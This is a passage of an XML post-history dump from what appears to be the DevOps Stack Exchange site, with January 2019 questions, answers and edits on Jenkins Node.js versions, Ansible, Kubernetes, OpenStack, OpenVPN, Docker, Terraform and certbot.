v6.&#xD;&#xA;    The official Node.js version that is supported is 8.9 and greater.&#xD;&#xA;&#xD;&#xA;I added a call to npm version to check the npm version is is trying to use:&#xD;&#xA;&#xD;&#xA;    + echo current user&#xD;&#xA;    current user&#xD;&#xA;    + whoami&#xD;&#xA;    jenkins&#xD;&#xA;    + npm -v&#xD;&#xA;    5.0.3&#xD;&#xA;&#xD;&#xA;To investigate the issue i used putty to remote onto the jenkins box and ran npm -v and ng v to see what is installed and get:&#xD;&#xA;&#xD;&#xA;    jenkins@****-int1:~$ npm -v&#xD;&#xA;    6.5.0-next.0&#xD;&#xA;&#xD;&#xA;Which is different to that reported by npm -v in the shell script.&#xD;&#xA;&#xD;&#xA;    jenkins@****:~$ ng v&#xD;&#xA;    &#xD;&#xA;         _                      _                 ____ _     ___&#xD;&#xA;        / \   _ __   __ _ _   _| | __ _ _ __     / ___| |   |_ _|&#xD;&#xA;       / △ \ | '_ \ / _` | | | | |/ _` | '__|   | |   | |    | |&#xD;&#xA;      / ___ \| | | | (_| | |_| | | (_| | |      | |___| |___ | |&#xD;&#xA;     /_/   \_\_| |_|\__, |\__,_|_|\__,_|_|       \____|_____|___|&#xD;&#xA;                    |___/&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    Angular CLI: 7.1.4&#xD;&#xA;    Node: 11.6.0&#xD;&#xA;    OS: linux x64&#xD;&#xA;    Angular:&#xD;&#xA;    ...&#xD;&#xA;    &#xD;&#xA;    Package                      Version&#xD;&#xA;    ------------------------------------------------------&#xD;&#xA;    @angular-devkit/architect    0.11.4&#xD;&#xA;    @angular-devkit/core         7.1.4&#xD;&#xA;    @angular-devkit/schematics   7.1.4&#xD;&#xA;    @schematics/angular          7.1.4&#xD;&#xA;    @schematics/update           0.11.4&#xD;&#xA;    rxjs                         6.3.3&#xD;&#xA;    typescript                   3.1.6&#xD;&#xA;&#xD;&#xA;So it should have nodejs 11.6, i ran node -v to double check:&#xD;&#xA;&#xD;&#xA;    jenkins@****:~$ node -v&#xD;&#xA;    v11.6.0&#xD;&#xA;&#xD;&#xA;BUT if i run nodejs -v i get:&#xD;&#xA;&#xD;&#xA;    jenkins@****:~$ nodejs -v&#xD;&#xA;    v8.1.4&#xD;&#xA;&#xD;&#xA;I thought that node and nodejs were the same thing? so why would i have two different versions installed and how to i fix this?&#xD;&#xA;&#xD;&#xA;To double check what my Jenkins script is using i added a call to node -v in the script and as expected it reports the older version:&#xD;&#xA;&#xD;&#xA;    + node -v&#xD;&#xA;    v8.1.4&#xD;&#xA;&#xD;&#xA;I should add that i'm not a devops person, i'm C# back end developer who's been lumbered with sorting this out due staff changes. I know very little about linux, Jenkins or this stuff in general :(&#xD;&#xA;&#xD;&#xA;I tried to update the node installation via the Jenkins Shell script using&#xD;&#xA;&#xD;&#xA;    sudo npm cache clean -f&#xD;&#xA;    sudo npm install -g n&#xD;&#xA;    sudo n stable&#xD;&#xA;&#xD;&#xA;But these were refused due to access rights (no sudo pwd i presume) and i don't know if that would've fixed the issue anyway.&#xD;&#xA;&#xD;&#xA;Any help would be much appreciated....&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18948" PostHistoryTypeId="50" PostId="4811" RevisionGUID="5f7c91d4-a781-4998-8a9e-45e7abc79f49" CreationDate="2019-01-06T18:02:15.607" UserId="-1" />
  <row Id="18949" PostHistoryTypeId="2" PostId="5896" RevisionGUID="3aead851-24ab-4fa3-9666-74623abc6d43" CreationDate="2019-01-07T04:07:45.537" UserId="1105" Text="Have you seen https://buildkite.com/ and especially this post for IOS https://medium.com/@Pinterest_Engineering/continuous-integration-for-ios-with-nix-and-buildkite-ef5b36c5292d?  The company is based in Australia I believe.&#xD;&#xA;&#xD;&#xA;My company uses Buildkite and I actually like it a lot (we don't build anything IOS/Mac); you do need to setup build agent which can be hosted on cloud provider or even bare metal. The CI/CD non-build server itself is hosted.  It supports I think all of Github webhook." ContentLicense="CC BY-SA 4.0" />
  <row Id="18950" PostHistoryTypeId="2" PostId="5897" RevisionGUID="080bd5fb-e591-445c-b5dd-4c40f9047a67" CreationDate="2019-01-07T05:53:33.473" UserId="11688" Text="I trying to execute the below command and running into errors ... I tried with quoting around the arguments, that didn't help either&#xD;&#xA;&#xD;&#xA;   - name: Add authorization rules to FTP site&#xD;&#xA;     win_command: appcmd.exe -&#xD;&#xA;     args:&#xD;&#xA;      chdir: C:\Windows\System32\inetsrv\&#xD;&#xA;      stdin: set config &quot;FTP_FW&quot; -section:system.ftpServer/security/authorization /+&quot;[accessType='Allow',roles='domain\usera',permissions='Read, Write']&quot; /commit:apphost&#xD;&#xA;&#xD;&#xA;Tried with quoting, that didn't help ... Can you give me some pointers pls." ContentLicense="CC BY-SA 4.0" />
  <row Id="18951" PostHistoryTypeId="1" PostId="5897" RevisionGUID="080bd5fb-e591-445c-b5dd-4c40f9047a67" CreationDate="2019-01-07T05:53:33.473" UserId="11688" Text="Trying to execute an appcmd command via Ansible" ContentLicense="CC BY-SA 4.0" />
  <row Id="18952" PostHistoryTypeId="3" PostId="5897" RevisionGUID="080bd5fb-e591-445c-b5dd-4c40f9047a67" CreationDate="2019-01-07T05:53:33.473" UserId="11688" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18953" PostHistoryTypeId="2" PostId="5898" RevisionGUID="22b2c6db-5cb3-4c4d-84c7-fca4bbca918e" CreationDate="2019-01-07T06:31:25.233" UserId="10550" Text="I have a running k8s cluster initialized with `kubeadm`. &#xD;&#xA;&#xD;&#xA;On initialization, I did not pass the option `--pod-network-cidr`&#xD;&#xA;&#xD;&#xA;How do I get the CIDR of the pod network&#xD;&#xA;&#xD;&#xA;I tried &#xD;&#xA;&#xD;&#xA;* Looking at the `/etc/kubernetes/manifests/kube-apiserver.yaml` which seems to be the manifest for kube-apiserver used by `kubeadm` but that information is not included&#xD;&#xA;* Looking at the [`kubeadm` document](https://kubernetes.io/docs/reference/setup-tools/kubeadm/kubeadm-init/) but I couldn't find a default value&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18954" PostHistoryTypeId="1" PostId="5898" RevisionGUID="22b2c6db-5cb3-4c4d-84c7-fca4bbca918e" CreationDate="2019-01-07T06:31:25.233" UserId="10550" Text="How to get kubernetes pod network CIDR" ContentLicense="CC BY-SA 4.0" />
  <row Id="18955" PostHistoryTypeId="3" PostId="5898" RevisionGUID="22b2c6db-5cb3-4c4d-84c7-fca4bbca918e" CreationDate="2019-01-07T06:31:25.233" UserId="10550" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18956" PostHistoryTypeId="2" PostId="5899" RevisionGUID="61995889-3b40-4fe2-902b-db3ce12084cf" CreationDate="2019-01-07T07:45:56.560" UserId="11606" Text="I am using cloudberry to backup data. There are lot of options where we can store data like Google drive , aws and also openstack. I got confused because I was thinking openstack as operating system which we can install in our premise..please someone explain..what's openstack actually??" ContentLicense="CC BY-SA 4.0" />
  <row Id="18957" PostHistoryTypeId="1" PostId="5899" RevisionGUID="61995889-3b40-4fe2-902b-db3ce12084cf" CreationDate="2019-01-07T07:45:56.560" UserId="11606" Text="Is openstack public cloud like Google drive, aws where we can start data?? Or something else?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18958" PostHistoryTypeId="3" PostId="5899" RevisionGUID="61995889-3b40-4fe2-902b-db3ce12084cf" CreationDate="2019-01-07T07:45:56.560" UserId="11606" Text="&lt;azure-devops&gt;&lt;cloud&gt;&lt;openstack&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18959" PostHistoryTypeId="50" PostId="5333" RevisionGUID="269a9e5e-06f9-41e5-92d9-174a645ba693" CreationDate="2019-01-07T08:02:30.540" UserId="-1" />
  <row Id="18960" PostHistoryTypeId="2" PostId="5900" RevisionGUID="51c33213-b70d-4fe7-b890-46d3d081a8b6" CreationDate="2019-01-07T08:26:09.613" UserId="10599" Text="&#xA;&#xA;Openstack is something you might install to setup an self-service IaaS platform that manages VMs, storage and network. Whereas the top three cloud providers have written their own proprietary IaaS platforms a small cloud provider, or a large company, cannot feasibly code there own cloud-like management software, so they might setup their “private cloud” using openstack (or, say, a big vendors distribution of it) so that many internal projects can use it as self-service IaaS. To quote Wikipedia with some expansion by myself:&#xA;&#xA;&gt; OpenStack is a free and open-source software platform for cloud&#xA;&gt; computing, mostly deployed as infrastructure-as-a-service (IaaS),&#xA;&gt; whereby virtual servers and other resources are made available to [internal or external]&#xA;&gt; customers. The software platform consists of interrelated&#xA;&gt; components that control diverse, multi-vendor hardware pools of&#xA;&gt; processing, storage, and networking resources throughout a data&#xA;&gt; center. Users either manage it through a web-based dashboard, through&#xA;&gt; command-line tools, or through RESTful web services.&#xA;&#xA;&#xA;People might talk about it being “your operating system for private cloud” which is a bad analogy. In general the term “operating system” is often deliberate misused as it has positive connotations and might indicate to none technical people the broad benefits of investing in a given technology. For example people might also talk about container orchestrators such as Kubernetes or Docker Swarm being “the new operating systems of the cloud” which is a similar poor analogy. &#xA;&#xA;If you a backup project said it provides connectors for AWS S3, Azure Blob, Google Cloud Storage, and Openstack Swift then it would be more clear exactly what it does: write large binary backup files into a cloud store. Such a product could then accurately say it supports AWS, Azure, GCP, and Openstack.&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18961" PostHistoryTypeId="5" PostId="5900" RevisionGUID="77cac678-ca1f-4ee3-b809-5c997d34b089" CreationDate="2019-01-07T08:34:19.227" UserId="10599" Comment="added 200 characters in body; deleted 4 characters in body" Text="&#xA;&#xA;Openstack is something you might install to setup an self-service IaaS platform that manages VMs, storage and network. Whereas the top three cloud providers have written their own proprietary IaaS platforms a small cloud provider, or a large company, cannot feasibly code there own cloud-like management software, so they might setup their “private cloud” using openstack (or, say, a big vendors distribution of it) so that many internal projects can use it as self-service IaaS. To quote Wikipedia with some expansion by myself:&#xA;&#xA;&gt; OpenStack is a free and open-source software platform for cloud&#xA;&gt; computing, mostly deployed as infrastructure-as-a-service (IaaS),&#xA;&gt; whereby virtual servers and other resources are made available to [internal or external]&#xA;&gt; customers. The software platform consists of interrelated&#xA;&gt; components that control diverse, multi-vendor hardware pools of&#xA;&gt; processing, storage, and networking resources throughout a data&#xA;&gt; center. Users either manage it through a web-based dashboard, through&#xA;&gt; command-line tools, or through RESTful web services.&#xA;&#xA;&#xA;People might talk about it being “your operating system for private cloud” which is a bad analogy. In general the term “operating system” is often deliberate misused as it has positive connotations and might indicate to none technical people the broad benefits of investing in a given technology. For example people might also talk about container orchestrators such as Kubernetes or Docker Swarm being “the new operating systems of the cloud” which is a similar poor analogy. &#xA;&#xA;If a backup project said it provides connectors for AWS S3, Azure Blob, Google Cloud Storage, and Openstack Swift then it would be more clear exactly what it does: write large binary backup files into a cloud store. Such a product could then accurately say it supports AWS, Azure, GCP, and Openstack. Just to be clear I am not saying the the technology you are looking at actually uses those APIs I am making a general point about openstack having feature parity with many public cloud technologies. &#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18963" PostHistoryTypeId="4" PostId="5899" RevisionGUID="13d3e80d-29a4-46c6-a8b3-2933db48ce69" CreationDate="2019-01-07T10:24:01.987" UserId="11606" Comment="edited title" Text="Is openstack public cloud like Google drive, aws where we can store data?? Or something else?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18964" PostHistoryTypeId="2" PostId="5901" RevisionGUID="2bab414c-8eb7-4fed-a7cf-5f1c116be573" CreationDate="2019-01-07T10:49:23.470" UserId="8332" Text="I have an OpenVPN server running in an AWS VPC and I can ping my servers over the tunnel via their private IP, so from that perspective it's working.&#xD;&#xA;&#xD;&#xA;Some of our servers have public DNS names `server.example.io` and I'd like OpenVPN clients to be able to reach the servers using their DNS names over the tunnels. For example, one of our servers has a UI and rather than typing the private IP of the server in the browser, they should be able to reach the server over the tunnel using the public domain name. &#xD;&#xA;&#xD;&#xA;Is this possible? We are using the OpenVPN Access Server AMI.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18965" PostHistoryTypeId="1" PostId="5901" RevisionGUID="2bab414c-8eb7-4fed-a7cf-5f1c116be573" CreationDate="2019-01-07T10:49:23.470" UserId="8332" Text="OpenVPN - routing public domain over tunnel?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18966" PostHistoryTypeId="3" PostId="5901" RevisionGUID="2bab414c-8eb7-4fed-a7cf-5f1c116be573" CreationDate="2019-01-07T10:49:23.470" UserId="8332" Text="&lt;vpn&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18967" PostHistoryTypeId="2" PostId="5902" RevisionGUID="2b49595c-29ca-4579-aadb-7e28b1976f80" CreationDate="2019-01-07T12:05:43.943" UserId="11357" Text="I trying on Windows 10, Trying to connect / login to work interactively on container but I'm getting this kind of error &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;    docker run --rm -p 8080:80 laravel-docker&#xD;&#xA;     Error response from daemon: driver failed programming external connectivity on endpoint wizardly_diffie (0c95bf862e583179e0a988eae0b07606e41184548c494ddd523df95c1430422f): Error starting userland proxy: mkdir /port/tcp:0.0.0.0:8080:tcp:172.17.0.8:80: input/output error.&#xD;&#xA;&#xD;&#xA;How to resolve this.&#xD;&#xA;&#xD;&#xA;my docker version &#xD;&#xA;&#xD;&#xA;    $ docker --version&#xD;&#xA;    Docker version 18.09.0, build 4d60db4&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="18968" PostHistoryTypeId="1" PostId="5902" RevisionGUID="2b49595c-29ca-4579-aadb-7e28b1976f80" CreationDate="2019-01-07T12:05:43.943" UserId="11357" Text="I trying on Windows 10, Trying to connect / login to work interactively on container but I'm getting this kind of error" ContentLicense="CC BY-SA 4.0" />
  <row Id="18969" PostHistoryTypeId="3" PostId="5902" RevisionGUID="2b49595c-29ca-4579-aadb-7e28b1976f80" CreationDate="2019-01-07T12:05:43.943" UserId="11357" Text="&lt;docker&gt;&lt;php&gt;&lt;docker-machine&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18973" PostHistoryTypeId="2" PostId="5904" RevisionGUID="87d84297-1187-48d5-b1b8-f37ef4c6b11f" CreationDate="2019-01-07T13:55:40.080" UserId="11362" Text="I have a kubernetes cluster on GCP, in which I have a elasticsearch service.&#xD;&#xA;I  have a `elasticsearch-0` pod which is running a docker container of elasticsearch.&#xD;&#xA;&#xD;&#xA;    ~ ❯❯❯ kubectl describe pod elasticsearch-0&#xD;&#xA;    Name:           elasticsearch-0&#xD;&#xA;    Namespace:      default&#xD;&#xA;    Node:           gke-jaeger-persistent-st-default-pool-xxxxx-phvx/10.166.0.4&#xD;&#xA;    Start Time:     Mon, 07 Jan 2019 14:21:19 +0100&#xD;&#xA;    Labels:         app=jaeger-elasticsearch&#xD;&#xA;                    controller-revision-hash=elasticsearch-8684f69799&#xD;&#xA;                    jaeger-infra=elasticsearch-replica&#xD;&#xA;                    statefulset.kubernetes.io/pod-name=elasticsearch-0&#xD;&#xA;    Annotations:    kubernetes.io/limit-ranger: LimitRanger plugin set: cpu request for container elasticsearch&#xD;&#xA;    Status:         Running&#xD;&#xA;    IP:             10.36.2.27&#xD;&#xA;    Controlled By:  StatefulSet/elasticsearch&#xD;&#xA;    Containers:&#xD;&#xA;      elasticsearch:&#xD;&#xA;        Container ID:  docker://5212b8c223401355bd29a5639caea5097074a8a8101ceb10300f76465e4a6536&#xD;&#xA;        Image:         docker.elastic.co/elasticsearch/elasticsearch:5.6.0&#xD;&#xA;        Image ID:      docker-pullable://docker.elastic.co/elasticsearch/elasticsearch@sha256:f95e7d4256197a9bb866b166d9ad37963dc7c5764d6ae6400e551f4987a659d7&#xD;&#xA;        Port:          &lt;none&gt;&#xD;&#xA;        Host Port:     &lt;none&gt;&#xD;&#xA;        Command:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;And I need access to the node which manage my pod in order to get the container ID of my elasticsearch container. &#xD;&#xA;&#xD;&#xA;I get the name of my instances with `gcloud compute instances list` and enter via  `gcloud compute ssh &lt;node-name&gt; --zone=&lt;zone-name&gt;` command and I've enter to the elasticsearch docker container with root privileges `docker exec -it -u root containerID bash` (following these [steps][1]) &#xD;&#xA;&#xD;&#xA;I need perform this because I need add a new mountPath named  `/jaeger-data` in order to associate it to a persistent volume claim that I have prepared.&#xD;&#xA;&#xD;&#xA;I enter to my docker container and create the mountPath&#xD;&#xA;&#xD;&#xA;    [root@elasticsearch-0 elasticsearch]# mkdir /jaeger-data&#xD;&#xA;    [root@elasticsearch-0 elasticsearch]#&#xD;&#xA;&#xD;&#xA;But I can see that I am disconnecting continously from my docker container because the `containerID` is changed of a continous way. &#xD;&#xA;Each time that I enter to my node to get my `containerID` with `docker ps -a` command, this `containerID` is different and when enter to the new container making use of the new ID, my `/jaeger-data` mountPath is not found, this mean that there isn't, may be because I am entering to a new container ...&#xD;&#xA;&#xD;&#xA;What is the reason to my containerID change all time?&#xD;&#xA;Is this related with Kubernetes node that contain my pod which have my elasticsearch docker container?&#xD;&#xA;&#xD;&#xA;Is related with the **[Service][2]** situation?&#xD;&#xA;&#xD;&#xA;&gt; Kubernetes Pods are mortal. They are born and when they die, they are not resurrected. ReplicaSets in particular create and destroy Pods dynamically (e.g. when scaling out or in). While each Pod gets its own IP address, even those IP addresses cannot be relied upon to be stable over time. This leads to a problem: if some set of Pods (let’s call them backends) provides functionality to other Pods (let’s call them frontends) inside the Kubernetes cluster, how do those frontends find out and keep track of which backends are in that set?&#xD;&#xA;&gt; &#xD;&#xA;&gt; Enter Services.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;How to can I address this situation? &#xD;&#xA;&#xD;&#xA;I need create my mountPath in order to associate it to my `elasticsearch-0` pod configuration&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/42793382/exec-commands-on-kubernetes-pods-with-root-access&#xD;&#xA;  [2]: https://kubernetes.io/docs/concepts/services-networking/service/" ContentLicense="CC BY-SA 4.0" />
  <row Id="18974" PostHistoryTypeId="1" PostId="5904" RevisionGUID="87d84297-1187-48d5-b1b8-f37ef4c6b11f" CreationDate="2019-01-07T13:55:40.080" UserId="11362" Text="Entering to docker container of my elasticsearch google kubernetes pod - CONTAINER ID is changing" ContentLicense="CC BY-SA 4.0" />
  <row Id="18975" PostHistoryTypeId="3" PostId="5904" RevisionGUID="87d84297-1187-48d5-b1b8-f37ef4c6b11f" CreationDate="2019-01-07T13:55:40.080" UserId="11362" Text="&lt;docker&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18976" PostHistoryTypeId="2" PostId="5905" RevisionGUID="045c5682-49ba-43a0-98d9-b7a00a71685a" CreationDate="2019-01-07T14:41:05.660" UserId="11568" Text="This command will give you the pod CIDR addresses for each of the nodes in your cluster.&#xD;&#xA;&#xD;&#xA;`kubectl get nodes -o jsonpath='{.items[*].spec.podCIDR}'` " ContentLicense="CC BY-SA 4.0" />
  <row Id="18977" PostHistoryTypeId="2" PostId="5906" RevisionGUID="da92a8ae-6fc4-47f2-8299-0545d0c3fa69" CreationDate="2019-01-07T17:13:25.463" UserId="11508" Text="Try to add your public IP to OpenVPN routing/network, if your DNS name is using a static public IP. So OpenVPN will add a route to the client. But you need to add another route that routes from OpenVPN instance to the `server.example.io` to go through internal network." ContentLicense="CC BY-SA 4.0" />
  <row Id="18978" PostHistoryTypeId="2" PostId="5907" RevisionGUID="1a69c9ea-78cf-4c0f-bf5e-7f7354e593b9" CreationDate="2019-01-07T23:47:47.113" UserId="11221" Text="I am working on setting up a Cloud9 environment using Terraform, I ran into an issue when it comes to my Terraform apply and specifically:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Error: Error applying plan:&#xD;&#xA;&#xD;&#xA;    1 error(s) occurred:&#xD;&#xA;    &#xD;&#xA;    * aws_instance.cloud9Test: 1 error(s) occurred:&#xD;&#xA;    &#xD;&#xA;    * aws_instance.cloud9Test: Error launching instance, possible mismatch of Security Group IDs and Names. See AWS Instance docs here: https://terraform.io/docs/providers/aws/r/instance.html.&#xD;&#xA;            AWS Error: Value () for parameter groupId is invalid. The value cannot be empty&#xD;&#xA;&#xD;&#xA;Here is my Terraform code that seems to be related and causing the issue. &#xD;&#xA;&#xD;&#xA;    resource &quot;aws_vpc&quot; &quot;cloud9Test&quot; {&#xD;&#xA;      cidr_block       = &quot;10.0.0.0/16&quot;&#xD;&#xA;      instance_tenancy = &quot;dedicated&quot;&#xD;&#xA;    &#xD;&#xA;      tags = {&#xD;&#xA;        Name = &quot;cloud9Test&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_security_group&quot; &quot;cloud9Test&quot; {&#xD;&#xA;    	name = &quot;cloud9Test-sg&quot;&#xD;&#xA;    	description = &quot;Cloud9 Group&quot;&#xD;&#xA;    	vpc_id      = &quot;${aws_vpc.cloud9Test.id}&quot;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;When I comment out the vpc_id in the security group I don't have the issue anymore but I do want the security group inside my VPC.&#xD;&#xA;&#xD;&#xA;How do I fix this?&#xD;&#xA;&#xD;&#xA;Note I do not have anything that should overlap causing an issue, this is a fairly new account with only 3 ec2 instances and 1 cloud9 instance all created manually&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18979" PostHistoryTypeId="1" PostId="5907" RevisionGUID="1a69c9ea-78cf-4c0f-bf5e-7f7354e593b9" CreationDate="2019-01-07T23:47:47.113" UserId="11221" Text="Terraform | AWS | vpc_id causing apply to fail" ContentLicense="CC BY-SA 4.0" />
  <row Id="18980" PostHistoryTypeId="3" PostId="5907" RevisionGUID="1a69c9ea-78cf-4c0f-bf5e-7f7354e593b9" CreationDate="2019-01-07T23:47:47.113" UserId="11221" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18981" PostHistoryTypeId="2" PostId="5908" RevisionGUID="d56356ec-52ec-4f9c-a1e6-2bec71e0fba7" CreationDate="2019-01-08T03:12:15.700" UserId="9839" Text="I'll go out on a limb here and assume that the issue is actually in your &quot;aws_instance&quot; block and is likely the result of how you are assigning the security groups in the &quot;aws_instance&quot;.&#xD;&#xA;&#xD;&#xA;Copied from the first linked article, in the resolution: &#xD;&#xA;&#xD;&#xA;    change &#xD;&#xA;&#xD;&#xA;    security_groups = [&quot;cloud9Test&quot;]&#xD;&#xA;&#xD;&#xA;    to&#xD;&#xA;&#xD;&#xA;    vpc_security_group_ids = [&quot;${aws_security_group.cloud9Test.id}&quot;]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Two related articles:&#xD;&#xA;&#xD;&#xA;https://github.com/KainosSoftwareLtd/aws-api-gateway-demo/issues/3&#xD;&#xA;&#xD;&#xA;https://stackoverflow.com/questions/31569910/terraform-throws-groupname-cannot-be-used-with-the-parameter-subnet-or-vpc-se/34586893#34586893&#xD;&#xA;&#xD;&#xA;If this is not on track, please post the &quot;aws_instance&quot; declaration. &#xD;&#xA;&#xD;&#xA;For your own sanity I'd also recommend giving the resources names that are more specific to their role, and not identical, for example &quot;cloud9Test_vpc&quot;. " ContentLicense="CC BY-SA 4.0" />
  <row Id="18982" PostHistoryTypeId="2" PostId="5909" RevisionGUID="b67249bc-8662-478e-bbef-765bdba15e2e" CreationDate="2019-01-08T03:18:18.073" UserId="9839" Text="Restart docker, it falls into this state after the OS reboots. &#xD;&#xA;&#xD;&#xA;The below thread mentions running it a swarm as preventing the issue from reoccurring and several ways to resolve the underlying OS issue with the software that may, or may not be workable for you. &#xD;&#xA;&#xD;&#xA;https://github.com/docker/for-win/issues/1038" ContentLicense="CC BY-SA 4.0" />
  <row Id="18988" PostHistoryTypeId="5" PostId="5897" RevisionGUID="cfec8961-df12-4add-b354-5dc7abb90808" CreationDate="2019-01-08T08:01:14.013" UserId="4817" Comment="formated yaml part" Text="I trying to execute the below command and running into errors ... I tried with quoting around the arguments, that didn't help either&#xD;&#xA;&#xD;&#xA;       - name: Add authorization rules to FTP site&#xD;&#xA;         win_command: appcmd.exe &#xD;&#xA;       - args:&#xD;&#xA;          chdir: C:\Windows\System32\inetsrv\&#xD;&#xA;          stdin: set config &quot;FTP_FW&quot; &#xD;&#xA;       - section: system.ftpServer/security/authorization /+&quot;[accessType='Allow',roles='domain\usera',permissions='Read, Write']&quot; /commit:apphost&#xD;&#xA;&#xD;&#xA;Tried with quoting, that didn't help ... Can you give me some pointers pls." ContentLicense="CC BY-SA 4.0" />
  <row Id="18989" PostHistoryTypeId="24" PostId="5897" RevisionGUID="cfec8961-df12-4add-b354-5dc7abb90808" CreationDate="2019-01-08T08:01:14.013" Comment="Proposed by 4817 approved by 40, 47 edit id of 910" ContentLicense="CC BY-SA 4.0" />
  <row Id="18990" PostHistoryTypeId="50" PostId="3856" RevisionGUID="dcc89712-7518-47ce-82a9-7e0e15988e6f" CreationDate="2019-01-08T08:02:40.547" UserId="-1" />
  <row Id="18991" PostHistoryTypeId="50" PostId="4736" RevisionGUID="4a104eaa-1fab-4467-b060-0dbc474fc41e" CreationDate="2019-01-08T09:01:30.507" UserId="-1" />
  <row Id="18992" PostHistoryTypeId="6" PostId="5331" RevisionGUID="62bc5ad0-cece-4212-bf48-1ac6be6f83b3" CreationDate="2019-01-08T09:39:35.130" UserDisplayName="user10808" Comment="better tag" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;dns&gt;&lt;rancher&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18993" PostHistoryTypeId="24" PostId="5331" RevisionGUID="62bc5ad0-cece-4212-bf48-1ac6be6f83b3" CreationDate="2019-01-08T09:39:35.130" Comment="Proposed by 10808 approved by 47, 13 edit id of 911" ContentLicense="CC BY-SA 4.0" />
  <row Id="18994" PostHistoryTypeId="6" PostId="3906" RevisionGUID="d9e6cd9d-d4e3-428b-a748-ea37bc2e2274" CreationDate="2019-01-08T09:39:40.733" UserDisplayName="user10808" Comment="better tag" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;startup&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18995" PostHistoryTypeId="24" PostId="3906" RevisionGUID="d9e6cd9d-d4e3-428b-a748-ea37bc2e2274" CreationDate="2019-01-08T09:39:40.733" Comment="Proposed by 10808 approved by 47, 13 edit id of 913" ContentLicense="CC BY-SA 4.0" />
  <row Id="18998" PostHistoryTypeId="50" PostId="5384" RevisionGUID="64d68535-85c8-4c9e-ad7d-2969e1b1f64c" CreationDate="2019-01-08T10:01:15.250" UserId="-1" />
  <row Id="19003" PostHistoryTypeId="5" PostId="5389" RevisionGUID="d35cd3cb-4242-4262-9eb1-6fede22b9f2c" CreationDate="2019-01-08T12:17:33.990" UserId="13" Comment="edited body" Text="The usual way to do that is to use a service manager (systemd or supervisord) to handle the service lifecycle (keeping the consul program running and restarting it if it fails for exemple) there's cookbooks existing to help creating those service units.&#xD;&#xA;&#xD;&#xA;The cheap alternative if you count on chef running periodically and handling that is to use [nohup](https://en.wikipedia.org/wiki/Nohup) which is a linux program made exactly for this.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19004" PostHistoryTypeId="2" PostId="5912" RevisionGUID="79bf4e3f-0b1f-4936-93d7-9a1a6081bb60" CreationDate="2019-01-08T13:27:24.683" UserId="11714" Text="This is how I do it:&#xD;&#xA;&#xD;&#xA;    - name: Add certbot repository&#xD;&#xA;      apt_repository:&#xD;&#xA;        repo: 'ppa:certbot/certbot'&#xD;&#xA;    &#xD;&#xA;    - name: Install Certbot's Apache package&#xD;&#xA;      apt:&#xD;&#xA;        name: python-certbot-apache&#xD;&#xA;        state: present&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19005" PostHistoryTypeId="2" PostId="5913" RevisionGUID="672af406-2b2e-41c9-b551-44a2f4655446" CreationDate="2019-01-08T15:43:28.653" UserId="11717" Text="I manage a set of virtual servers in a private cloud on vSphere.&#xD;&#xA;&#xD;&#xA;In this private cloud we have several sets of servers that host several web applications such as:&#xD;&#xA;&#xD;&#xA;-Webpress web sites&#xD;&#xA;&#xD;&#xA;-Phone applications in PHP&#xD;&#xA;&#xD;&#xA;-Java web applications&#xD;&#xA;&#xD;&#xA;-Alfresco&#xD;&#xA;&#xD;&#xA;-Redmine&#xD;&#xA;&#xD;&#xA;-Nagios&#xD;&#xA;&#xD;&#xA;-Jenkins&#xD;&#xA;&#xD;&#xA;-Odoo&#xD;&#xA;&#xD;&#xA;And these applications are hosted in separate servers with an architecture that mixes several technologies:&#xD;&#xA;&#xD;&#xA;-firewall&#xD;&#xA;&#xD;&#xA;-reverse proxy / loadbalancer / SSL termination (Haproxy)&#xD;&#xA;&#xD;&#xA;-caching servers&#xD;&#xA;&#xD;&#xA;-web servers&#xD;&#xA;&#xD;&#xA;-LDAP directory server&#xD;&#xA;&#xD;&#xA;-Server to centralize the backup and send it to remote NAS&#xD;&#xA;&#xD;&#xA;We have a problem of complexity to manage these applications as each application has a VM server that hosts it and another that contains its database and another that saves the data ..etc&#xD;&#xA;&#xD;&#xA;What do you recommend to me as tools to make my life easier, on **deployment**, **automation**, **maintenance**, **organization of applications**, **security**&#xD;&#xA;&#xD;&#xA;And on everything how to **organize and save my configurations for each server** ... etc&#xD;&#xA;&#xD;&#xA;***Do you recommend another architecture or solution?***" ContentLicense="CC BY-SA 4.0" />
